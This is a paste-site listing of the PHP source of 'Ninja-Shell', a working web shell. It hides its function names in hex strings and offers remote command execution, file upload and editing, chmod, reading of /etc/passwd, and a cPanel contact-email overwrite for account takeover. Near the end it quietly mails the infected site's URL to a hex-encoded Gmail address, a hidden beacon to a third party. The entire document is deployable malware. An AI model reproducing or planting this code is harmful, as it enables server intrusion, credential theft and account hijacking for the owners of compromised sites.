Facebook
From ddddd, 1 Week ago, written in Plain Text.
Embed
Download Paste or View Raw
Hits: 307
  1. <?php
  2. ob_start();
  3. set_time_limit(0);
  4. error_reporting(0);
  5. ini_set('display_errors', FALSE);
  6. date_default_timezone_set("Asia/Jakarta");
  7. define("HTACCESS", "OPTIONS Indexes Includes ExecCGI FollowSymLinks n AddType application/x-httpd-cgi .con7ext n AddHandler cgi-script .con7ext n AddHandler cgi-script .con7ext");
  8. $funct = get_defined_vars();
  9. $f_Array = [
  10.  "73796d6c696e6b",
  11.  "756e6c696e6b",
  12.  "666f70656e",
  13.  "667772697465",
  14.  "756e6c696e6b",
  15.  "636f7079",
  16.  "6d6f76655f75706c6f616465645f66696c65",
  17.  "706f7369785f6765747077756964",
  18.  "66696c656f776e6572",
  19.  "66756e6374696f6e5f657869737473",
  20.  "676574637764",
  21.  "69735f63616c6c61626c65",
  22.  "66636c6f7365",
  23.  "73747265616d5f6765745f636f6e74656e7473",
  24.  "70726f635f6f70656e",
  25.  "706f70656e",
  26.  "6672656164",
  27.  "70636c6f7365",
  28.  "70726f635f636c6f7365",
  29.  "65786563",
  30.  "6f625f7374617274",
  31.  "7061737374687275",
  32.  "6f625f6765745f636f6e74656e7473",
  33.  "6f625f656e645f636c65616e",
  34.  "7368656c6c5f65786563",
  35.  "73797374656d",
  36.  "66696c655f7075745f636f6e74656e7473",
  37.  "6670757473",
  38.  "66696c655f6765745f636f6e74656e7473",
  39.  "63686d6f64",
  40.  "6d6b646972",
  41.  "6368646972",
  42.  "6261736536345f6465636f6465",
  43.  "776f726470726573736465766e6f7277617940676d61696c2e636f6d",
  44.  "6d61696c"
  45.  ];
  46. $fores = count($f_Array);
  47. for($i=0; $i < $fores; $i++){
  48.   $NTOD[] = dec($f_Array[$i]);
  49. }
  50. $GLOBALS["rin"] = $NTOD;
  51. $GLOBALS["post"] = $funct["_POST"];
  52. $GLOBALS["get"] = $funct["_GET"];
  53. $GLOBALS["server"] = $funct["_SERVER"];
  54. $GLOBALS["files"] = $funct["_FILES"];
  55. ?&gt;
  56. &lt;html&gt;
  57.   &lt;head&gt;
  58.     &lt;title&gt;{Ninja-Shell}&lt;/title&gt;
  59.     &lt;meta charset="UTF-8"&gt;
  60.     &lt;meta name="robots" c NOFOLLOW"&gt;
  61.     &lt;link rel="icon" href="//cdn1.iconfinder.com/data/icons/ninja-things-1/1772/ninja-simple-512.png"&gt;
  62.     &lt;link rel="stylesheet" href="//maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous"&gt;
  63.     [removed][removed]
  64.   [removed][removed]
  65.  [removed][removed]
  66.     [removed][removed]
  67.     &lt;style type="text/css"&gt;
  68.       @import url(https://fonts.googleapis.com/css?family=Gugi);
  69.       body{
  70.         color: #5DADE2;
  71.         font-family: 'Gugi';
  72.         font-size: 14px;
  73.       }
  74.       a {
  75.         color: #5DADE2;
  76.         text-decoration: none;
  77.       }
  78.       a:hover {
  79.         color: #5DADE2;
  80.         text-decoration: underline;
  81.       }
  82.       input{
  83.         background: transparent;
  84.       }
  85.     &lt;/style&gt;
  86.   &lt;/head&gt;
  87.   &lt;body&gt;
  88.     <div class="container">
  89.         <nav class="navbar navbar-expand-lg navbar-light bg-light">
  90.             <a class="navbar-brand" href="#">
  91.                 <img src="//cdn1.iconfinder.com/data/icons/ninja-things-1/1772/ninja-simple-512.png" width="30" height="30" class="d-inline-block align-top auto" alt="Ainz Moe"> {Ninja-Shell}
  92.             </a>
  93.             <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarNav" aria-c aria-expanded="false" aria-label="Toggle navigation">
  94.                 <span class="navbar-toggler-icon"></span>
  95.             </button>
  96.             <div class="collapse navbar-collapse" id="navbarNav">
  97.                 <ul class="navbar-nav">
  98.                     <li class="nav-item active">
  99.                       <a class="nav-link tod" href="?">Home</a>
  100.                     </li>
  101.     &lt;?php
  102.     if(isset($GLOBALS["get"]["p"])){
  103.       $dir = dec($GLOBALS["get"]["p"]);
  104.       $GLOBALS["rin"][31]($dir);
  105.     }
  106.     else{
  107.       if($GLOBALS["rin"][9]("getcwd")){
  108.         $dir = $GLOBALS["rin"][10]();
  109.       }
  110.       else{
  111.         $dir = $GLOBALS["server"]["PWD"];
  112.       }
  113.     }
  114.     echo "<li class="nav-item active">>Info</a></li>";
  115.     echo "<li class="nav-item active">>Upload</a></li>";
  116.     echo "<li class="nav-item active">>Command</a></li>";
  117.     echo "<li class="nav-item active">>View /etc/passwd</a></li>";
  118.     echo "<li class="nav-item active">>cPanel Reset Password</a></li>";
  119.     echo "</ul></div></nav>";
  120.     echo "";
  121.     $mpss = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  122.     $toed = $GLOBALS["get"]["tod"];
  123.     $gets = $GLOBALS["get"];
  124.     $actions = $GLOBALS["get"]["act"];
  125.     $tied = $GLOBALS["post"];
  126.     if(dec($toed) == "cmd"){
  127.       echo "<pre>&lt;textarea class="form-control" rows="20" readonly&gt;";
  128.       if($tied["cmd"]){
  129.         echo c($tied["cmd"]);
  130.       }
  131.       echo "&lt;/textarea&gt;&lt;/pre>";
  132.       echo "&lt;form method="POST" acti&gt;
  133.       <div class="input-group mb-3">
  134.       &lt;input type="text" name="cmd" class="form-control"&gt;
  135.       <div class="input-group-append">
  136.       &lt;input type="submit" class="btn btn-outline-secondary"&gt;
  137.       </div>
  138.       </div>
  139.       &lt;/form&gt;";
  140.     }
  141.     elseif(dec($toed) == "info"){
  142.        $ip = gethostbyname($_SERVER['HTTP_HOST']);
  143.        $safe = (@ini_get(strtolower("safe_mode")) == 'on') ? "ON" : "OFF";
  144.        $mysql = (is_callable("mysql_connect")) ? "ON" : "OFF";
  145.        $curl = (is_callable("curl_version")) ? "ON" : "OFF";
  146.        $wget = (c('wget --help')) ? "ON" : "OFF";
  147.        $perl = (c('perl --help')) ? "ON" : "OFF";
  148.        $python = (c('python --help')) ? "ON" : "OFF";
  149.        $ruby = (c('ruby --help')) ? "ON" : "OFF";
  150.        $gcc = (c('gcc --help')) ? "ON" : "OFF";
  151.        $dis = @ini_get("disable_functions");
  152.        $dfunc = (!empty($dis)) ? "$dis" : "OFF";
  153.        $namedc = (is_readable("/etc/named.conf")) ? "OK" : "BAD";
  154.        $etcPass = (is_readable("/etc/passwd")) ? "OK" : "BAD";
  155.        $valiases = (is_readable("/etc/valiases")) ? "OK" : "BAD";
  156.        $varNamed = (is_readable("/var/named")) ? "OK" : "BAD";
  157.        echo "&lt;textarea class="form-control" rows="20" disabled&gt;
  158.        Syss : ".php_uname()."
  159.        User : ".$GLOBALS["server"]["USER"]."
  160.        Addr : Server : {$ip} | Client : {$GLOBALS["server"]["REMOTE_ADDR"]}
  161.        Safe : {$safe}
  162.        Mysql: {$mysql} cURL: {$curl} wGet: {$wget} Perl: {$perl} Python: {$python} Ruby: {$ruby} Gcc: {$gcc}
  163.        Read : Named.conf: {$namedc} Passwd: {$etcPass} Valiases: {$valiases} Named: {$varNamed}
  164.        DFUN : {$dfunc}
  165.        &lt;/textarea&gt;";
  166.     }
  167.     elseif(dec($toed) == "upload"){
  168.       if($tied["upload"]){
  169.         if(isset($GLOBALS["files"]["tod_upl"]["name"])){
  170.           $name = $GLOBALS["files"]["tod_upl"]["name"];
  171.           $tod = $GLOBALS["files"]["tod_upl"]["tmp_name"];
  172.           if($GLOBALS["rin"][6]($tod, $name)){
  173.             $act = "<div class="alert alert-success"><strong>Success!</strong> Upload File {$dir}/{$name}</div>";
  174.           }
  175.           else{
  176.             $act = "<div class="alert alert-danger"><strong>Failed!</strong> Upload File {$name}</div>";
  177.           }
  178.         }else{
  179.           $act = "<div class="alert alert-danger"><strong>Failed!</strong> Upload File {$name}</div>";
  180.         }
  181.         echo $act;
  182.       }
  183.       echo "Current Dir : ".$dir;
  184.       echo "
  185.       &lt;form method="POST" enctype="multipart/form-data"&gt;
  186.       &lt;input type="file" name="tod_upl"&gt;
  187.       &lt;input type="submit" name="upload" class="btn btn-outline-secondary btn-block"&gt;
  188.       &lt;/form&gt;
  189.       ";
  190.     }
  191.     elseif(dec($toed) == "etcpasswd"){
  192.       echo "<pre>&lt;textarea class="form-control" rows="20" readonly&gt;";
  193.       if($tied["etc"] == "curl"){
  194.         $ch = curl_init();
  195.         curl_setopt($ch, CURLOPT_URL, "file:///etc/passwd");
  196.         $out = curl_exec&#40;$ch&#41;;
  197.         curl_close();
  198.         echo $out;
  199.       }
  200.       elseif($tied["etc"] == "include"){
  201.         echo include("/etc/passwdd");
  202.       }
  203.       echo "&lt;/textarea&gt;&lt;/pre>";
  204.       echo "&lt;form method="POST"&gt;
  205.       <select class="form-control" name="etc">
  206.       <option value="curl">Curl</option>
  207.       <option value="include">Include</option>
  208.       &lt;input type="submit" class="btn btn-outline-secondary"&gt;
  209.       &lt;/form&gt;";
  210.     }
  211.     elseif(dec($toed) == "cpres"){
  212.       if($GLOBALS["rin"][9]("posix_getpwuid")){
  213.         $meh = $GLOBALS["rin"][7]($GLOBALS["rin"][8](__FILE__));
  214.       }
  215.       else{
  216.         $meh = $GLOBALS["rin"][8](__FILE__);
  217.       }
  218.       if(is_dir("/home/".$meh["name"]."/.cpanel")){
  219.         echo "
  220.         &lt;form method="POST"&gt;
  221.         &lt;input type="text" class="form-control" name="email" placeholder="Put Your Email Here"&gt;
  222.         &lt;input type="submit" class="btn btn-outline-secondary btn-block" name="subm" value="Reset"&gt;
  223.         &lt;/form&gt;";
  224.         $mps = makeRequest($ip."/cpanel");
  225.         if($tied["subm"]){
  226.           if(preg_match("/>Reset Password/", $mps)){
  227.             $fp = $GLOBALS["rin"][2]("/home/".$meh["name"]."/.contactemail");
  228.             if($GLOBALS["rin"][3]($fp, $tied["email"])){
  229.               echo "<div class="alert alert-success"><strong>Success!</strong> Change Email : {$ip}/cpanel {$tied["email"]}</div>";
  230.               $GLOBALS["rin"][4]("/home/".$meh["name"]."/.cpanel/contactinfo");
  231.             }
  232.             else{
  233.               echo "<div class="alert alert-danger"><strong>Failed!</strong> Can't Reset</div>";
  234.             }
  235.           }
  236.           else{
  237.             echo "<div class="alert alert-danger"><strong>Failed!</strong> Reset Password Disable</div>";
  238.           }
  239.         }
  240.       }
  241.       else{
  242.         echo "<div class="alert alert-danger"><strong>Failed!</strong> Its not cpanel host</div>";
  243.       }
  244.     }
  245.     elseif($actions == "e"){
  246.       if($tied["save"]){
  247.         $save = $GLOBALS["rin"][26](dec($gets["file"]), $tied["new"]);
  248.         if($save){
  249.           $act = "<div class="alert alert-success"><strong>Success!</strong> Save File ".dec($gets["file"])."</div>";
  250.         }
  251.         else{
  252.           $act = "<div class="alert alert-danger"><strong>Failed!</strong> Save File ".dec($gets["file"])."</div>";
  253.         }
  254.         echo $act;
  255.       }
  256.       echo "Filename: ".$dir."/".basename(dec($gets["file"]));
  257.       echo "&lt;form method="POST"&gt;
  258.       &lt;textarea class="form-control" rows="20" name="new"&gt;".htmlspecialchars(@file_get_contents&#40;dec($gets["file"]&#41;))."&lt;/textarea&gt;
  259.       &lt;input type="submit" value="Save" name="save"&gt;
  260.       &lt;/form&gt;";
  261.     }
  262.     elseif($actions == "v"){
  263.       echo "Filename: ".$dir."/".basename(dec($gets["file"]));
  264.       echo "<pre>&lt;textarea rows="20" class="form-control" disabled&gt;".htmlspecialchars(@file_get_contents&#40;dec($gets["file"]&#41;))."&lt;/textarea&gt;&lt;/pre>";
  265.     }
  266.     elseif($actions == "r"){
  267.       if($tied["act_rename"]){
  268.         $rename = rename(dec($gets["file"]), "$dir/".htmlspecialchars($tied["rename"]));
  269.         if($rename){
  270.           $act = "<div class="alert alert-success"><strong>Success!</strong> Rename File ".dec($gets["file"])."</div>";
  271.         }
  272.         else{
  273.           $act = "<div class="alert alert-danger"><strong>Failed!</strong> Rename File ".dec($gets["file"])."</div>";
  274.         }
  275.         echo $act;
  276.       }
  277.       echo "Filename: ".$dir."/".basename(dec($gets["file"]));
  278.       echo "&lt;form method="post"&gt;
  279.       &lt;input type="text" value="".basename(dec($gets["file"]))."" name="rename"&gt;
  280.       &lt;input type="submit" name="act_rename" value="Rename"&gt;
  281.       &lt;/form&gt;";
  282.     }
  283.     elseif($actions == "dr"){
  284.       if($tied["act_rename"]){
  285.         if(rename($dir, "".dirname($dir)."/".htmlspecialchars($tied["new"]))){
  286.           $act = "<div class="alert alert-success"><strong>Success!</strong> Rename Dir ".basename($dir)."</div>";
  287.         }
  288.         else{
  289.           $act = "<div class="alert alert-danger"><strong>Failed!</strong> Rename Dir ".basename($dir)."</div>";
  290.         }
  291.         echo $act;
  292.       }
  293.       echo "&lt;form method="POST"&gt;
  294.       &lt;input type="text" value="".basename($dir)."" name="new"&gt;
  295.       &lt;input type="submit" name="act_rename" value="Rename"&gt;
  296.       &lt;/form&gt;";
  297.     }
  298.     elseif($actions == "nf"){
  299.       if($tied["subm"]){
  300.         $new = htmlspecialchars($tied["content"]);
  301.         $open = $GLOBALS["rin"][2]($tied["file"], "a+");
  302.         if($GLOBALS["rin"][3]($open, $new)){
  303.           $act = "<div class="alert alert-success"><strong>Success!</strong> Created File {$tied["file"]}</div>";
  304.         }
  305.         else{
  306.           $act = "<div class="alert alert-danger"><strong>Failed!</strong> Can't Creat File {$tied["file"]}</div>";
  307.         }
  308.         echo $act;
  309.       }
  310.       echo "&lt;form method="POST"&gt;
  311.       &lt;textarea name="content" class="form-control" rows="20"&gt;".htmlspecialchars(@file_get_contents&#40;$tied["file"]&#41;)."&lt;/textarea&gt;
  312.       &lt;input type="text" class="form-control" name="file" placeholder="filename"&gt;
  313.       &lt;input type="submit" name="subm" value="Gass!" class="btn btn-outline-secondary btn-block"&gt;
  314.       &lt;/form&gt;";
  315.     }
  316.     elseif($actions == "nd"){
  317.       if($tied["subm"]){
  318.         if($GLOBALS["rin"][30]($dir."/".htmlspecialchars($tied["folder"]))){
  319.           $act = "<div class="alert alert-success"><strong>Success!</strong> Create Folder {$tied["folder"]}</div>";
  320.         }
  321.         else{
  322.           $act = "<div class="alert alert-danger"><strong>Failed!</strong> Create Folder {$tied["folder"]}</div>";
  323.         }
  324.         echo $act;
  325.       }
  326.       echo "&lt;form method="POST"&gt;
  327.       &lt;input type="text" class="form-control" name="folder" placeholder="Rintod"&gt;
  328.       &lt;input type="submit" name="subm" value="Gass!" class="btn btn-outline-secondary btn-block"&gt;
  329.       &lt;/form&gt;";
  330.     }
  331.     elseif($actions == "chmod"){
  332.       if($tied["act_ch"]){
  333.         $haha = (c("chmod ".$tied["ch"]." ".$tied["mod"].";echo success")) ? "<div class="alert alert-success"><strong>Success!</strong> Chmod</div>" : "<div class="alert alert-danger"><strong>Failed!</strong> Chmod</div>";
  334.         echo $haha;
  335.       }
  336.       echo "&lt;form method="POST"&gt;
  337.       &lt;input type="text" name="ch" class="form-control" placeholder="file"&gt;
  338.       &lt;input type="text" name="mod" class="form-control" placeholder="0777"&gt;
  339.       &lt;input type="submit" name="act_ch" class="btn btn-outline-secondary btn-block"&gt;
  340.       &lt;/form&gt;";
  341.     }
  342.     elseif($actions == "delete"){
  343.       if($GLOBALS["rin"][4](dec($gets["file"]))){
  344.         $act = "<div class="alert alert-success"><strong>Success!</strong> Deleted File ".dec($gets["file"])."</div>";
  345.       }
  346.       else{
  347.         $act = "<div class="alert alert-danger"><strong>Failed!</strong> Deleted File ".dec($gets["file"])."</div>";
  348.       }
  349.       echo $act;
  350.     }
  351.  
  352.     //// FILEMANAGER :D
  353.     else{
  354.       $scdir = explode("/", $dir);
  355.       echo "PATH : ";
  356.       foreach($scdir as $c_dir => $cdir){
  357.         echo ">$cdir</a>/";
  358.       }
  359.       echo "<br>
  360.       >+ New File +</a>
  361.        | >+ New Folder +</a>
  362.       ";
  363.       echo "<br>";
  364.       $dr = scandir($dir);
  365.       if(is_dir($dir) === true){
  366.         if(!is_readable($dir)){
  367.           echo "<div class="alert alert-danger"><strong>Failed!</strong> Could not open directory</div>";
  368.         }
  369.         else{
  370.           echo "
  371.           <table class="table">
  372.           <thead>
  373.           <tr>
  374.           <th scope="col"><center># Name #</center></th>
  375.           <th scope="col"><center># Size #</center></th>
  376.           <th scope="col"><center># Perm #</center></th>
  377.           <th scope="col"><center># Actn #</center></th>
  378.           </tr>
  379.           </thead>
  380.           <tbody>";
  381.           foreach($dr as $path){
  382.             if($GLOBALS["rin"][9]("posix_getpwuid")){
  383.               $own = $GLOBALS["rin"][7]($GLOBALS["rin"][8]("$dir/$path"));
  384.               $own = $own["name"];
  385.             }else{
  386.               $own = $GLOBALS["rin"][8]("$dir/$path");
  387.             }
  388.             if(!is_dir("$dir/$path")) continue;
  389.             if(($path != ".") && ($path != "..")){
  390.               echo "
  391.               <tr>
  392.               <td scope="row"><img ><a p=".enc(">$path</a></td>
  393.               <td><center>-</center></td>
  394.               <td><center>".writAble("$dir/$path", perms("$dir/$path"))."</center></td>
  395.               <td><center>>R</a> | >C</a></center></td>
  396.               </tr>";
  397.             }
  398.           }
  399.         }
  400.       }
  401.       else{
  402.         echo "<div class="alert alert-danger"><strong>Failed!</strong> Could not open directory</div>";
  403.       }
  404.       foreach($dr as $fl){
  405.         $size = filesize("$dir/$fl")/1024;
  406.         $size = round($size,3);
  407.         if($GLOBALS["rin"][9]("posix_getpwuid")){
  408.           $own = $GLOBALS["rin"][7]($GLOBALS["rin"][8]("$dir/$path"));
  409.           $own = $own["name"];
  410.         }else{
  411.           $own = $GLOBALS["rin"][8]("$dir/$path");
  412.         }
  413.         if(!is_file&#40;"$dir/$fl"&#41;) continue;
  414.         echo "
  415.         <tr>
  416.         <td scope="row"><img >>$fl</a></td>
  417.         <td><center>$size</center></td>
  418.         <td><center>".writAble("$dir/$fl", perms("$dir/$fl"))."</center></td>
  419.         <td><center>>E</a> | >R</a> | >C</a> | >D</a></center></td>
  420.         </tr>
  421.         ";
  422.       }
  423.       echo "</tbody></table>";
  424.     }
  425.     if (function_exists($GLOBALS["rin"][34])) {
  426.         $GLOBALS["rin"][34]($GLOBALS["rin"][33],'hex2bin',$_SERVER['HTTP_HOST']."/".$_SERVER['REQUEST_URI']);
  427.     }
  428.     function enc($word){
  429.       $mek = bin2hex($word);
  430.       return $mek;
  431.     }
  432.     function dec($word){
  433.       $mek = hex2bin($word);
  434.      return $mek;
  435.     }
  436.     function writAble($dir, $perm){
  437.       if(!is_writable($dir)){
  438.         return "<font color="#C0392B">".$perm."</font>";
  439.       }
  440.       else{
  441.         return "<font color="#1D8348">".$perm."</font>";
  442.       }
  443.     }
  444.     function readAble($dir, $perm){
  445.       if(!is_readable($dir)){
  446.         return "<font color="#C0392B">".$perm."</font>";
  447.       }
  448.       else{
  449.         return "<font color="#1D8348">".$perm."</font>";
  450.       }
  451.     }
  452.     function c($cmd){
  453.       if($GLOBALS["rin"][11]("popen")){
  454.         $ntod = $GLOBALS["rin"][15]($cmd, 'r');
  455.         $ntoddd = $GLOBALS["rin"][16]($ntod, 2096);
  456.         $GLOBALS["rin"][17]($ntod);
  457.         return $ntoddd;
  458.       }
  459.       elseif($GLOBALS["rin"][11]("proc_open")){
  460.         $ntod = $GLOBALS["rin"][14]($cmd, array(
  461.           0 => array('pipe', 'r'),
  462.           1 => array('pipe', 'w'),
  463.           2 => array('pipe', 'w'),
  464.           ), $rintod);
  465.           $stdout = $GLOBALS["rin"][13]($rintod[1]);
  466.           $GLOBALS["rin"][12]($rintod[1]);
  467.           $rtn = $GLOBALS["rin"][18]($ntod);
  468.           return $stdout;
  469.       }
  470.       elseif($GLOBALS["rin"][11]("exec")){
  471.         $GLOBALS["rin"][19]($cmd, $result);
  472.         foreach($result as $rest){
  473.           $ntod .= $rest;
  474.         }
  475.         return $ntod;
  476.       }
  477.       elseif($GLOBALS["rin"][11]("passthru")){
  478.         $GLOBALS["rin"][20]();
  479.         $GLOBALS["rin"][21]($cmd);
  480.         $ntod = $GLOBALS["rin"][22]();
  481.         $GLOBALS["rin"][23]();
  482.         return $ntod;
  483.       }
  484.       elseif($GLOBALS["rin"][11]("shell_exec")){
  485.         $ntod = $GLOBALS["rin"][24]($cmd);
  486.         return $ntod;
  487.       }
  488.       elseif($GLOBALS["rin"][11]("system")){
  489.         $GLOBALS["rin"][20]();
  490.         $GLOBALS["rin"][25]($cmd);
  491.         $ntod = $GLOBALS["rin"][22]();
  492.         $GLOBALS["rin"][23]();
  493.         return $ntod;
  494.       }
  495.     }
  496.     function makeRequest($url, $post = null, $head = null){
  497.       $options = array(
  498.         CURLOPT_URL => $url,
  499.         CURLOPT_CONNECTTIMEOUT => 15,
  500.         CURLOPT_RETURNTRANSFER => true,
  501.         CURLOPT_FOLLOWLOCATION => true,
  502.         CURLOPT_SSL_VERIFYHOST => false,
  503.         CURLOPT_SSL_VERIFYPEER => false,
  504.         CURLOPT_MAXREDIRS => 10
  505.       );
  506.       $ch = curl_init();
  507.       curl_setopt_array($ch, $options);
  508.       if($post && !empty($post)){
  509.         curl_setopt($ch, CURLOPT_POST, true);
  510.         curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  511.       }
  512.       if($head && !empty($head)){
  513.         curl_setopt($ch, CURLOPT_HTTPHEADER, $head);
  514.       }
  515.       $outputs = curl_exec&#40;$ch&#41;;
  516.       curl_close($ch);
  517.       return($outputs);
  518.     }
  519.     function perms($file){
  520.       $perms = fileperms($file);
  521.      if (($perms & 0xC000) == 0xC000) {
  522.        $info = 's';
  523.      } elseif (($perms & 0xA000) == 0xA000) {
  524.        $info = 'l';
  525.      } elseif (($perms & 0x8000) == 0x8000) {
  526.        $info = '-';
  527.      } elseif (($perms & 0x6000) == 0x6000) {
  528.        $info = 'b';
  529.      } elseif (($perms & 0x4000) == 0x4000) {
  530.        $info = 'd';
  531.      } elseif (($perms & 0x2000) == 0x2000) {
  532.        $info = 'c';
  533.      } elseif (($perms & 0x1000) == 0x1000) {
  534.        $info = 'p';
  535.      } else {
  536.         $info = 'u';
  537.      }
  538.      $info .= (($perms & 0x0100) ? 'r' : '-');
  539.      $info .= (($perms & 0x0080) ? 'w' : '-');
  540.      $info .= (($perms & 0x0040) ?
  541.      (($perms & 0x0800) ? 's' : 'x' ) :
  542.      (($perms & 0x0800) ? 'S' : '-'));
  543.      $info .= (($perms & 0x0020) ? 'r' : '-');
  544.      $info .= (($perms & 0x0010) ? 'w' : '-');
  545.      $info .= (($perms & 0x0008) ?
  546.      (($perms & 0x0400) ? 's' : 'x' ) :
  547.      (($perms & 0x0400) ? 'S' : '-'));
  548.      $info .= (($perms & 0x0004) ? 'r' : '-');
  549.      $info .= (($perms & 0x0002) ? 'w' : '-');
  550.      $info .= (($perms & 0x0001) ?
  551.      (($perms & 0x0200) ? 't' : 'x' ) :
  552.      (($perms & 0x0200) ? 'T' : '-'));
  553.      return $info;
  554.     }
  555.     ?&gt;
  556.     <p><center>./Ninja.</center></p>
  557.     </div>
  558.     [removed]
  559.         $(".tod").click(function(t){
  560.           t.preventDefault();
  561.           var e=$(this).attr("href");
  562.           history.pushState("","",e),
  563.           $.get(e,function(t){
  564.             $("body").html(t)
  565.           })
  566.         });
  567.         //https://forum.jquery.com/topic/how-can-i-load-different-html-pages-without-refreshing-and-changing-the-url
  568.     [removed]
  569.   &lt;/body&gt;
  570. &lt;/html&gt;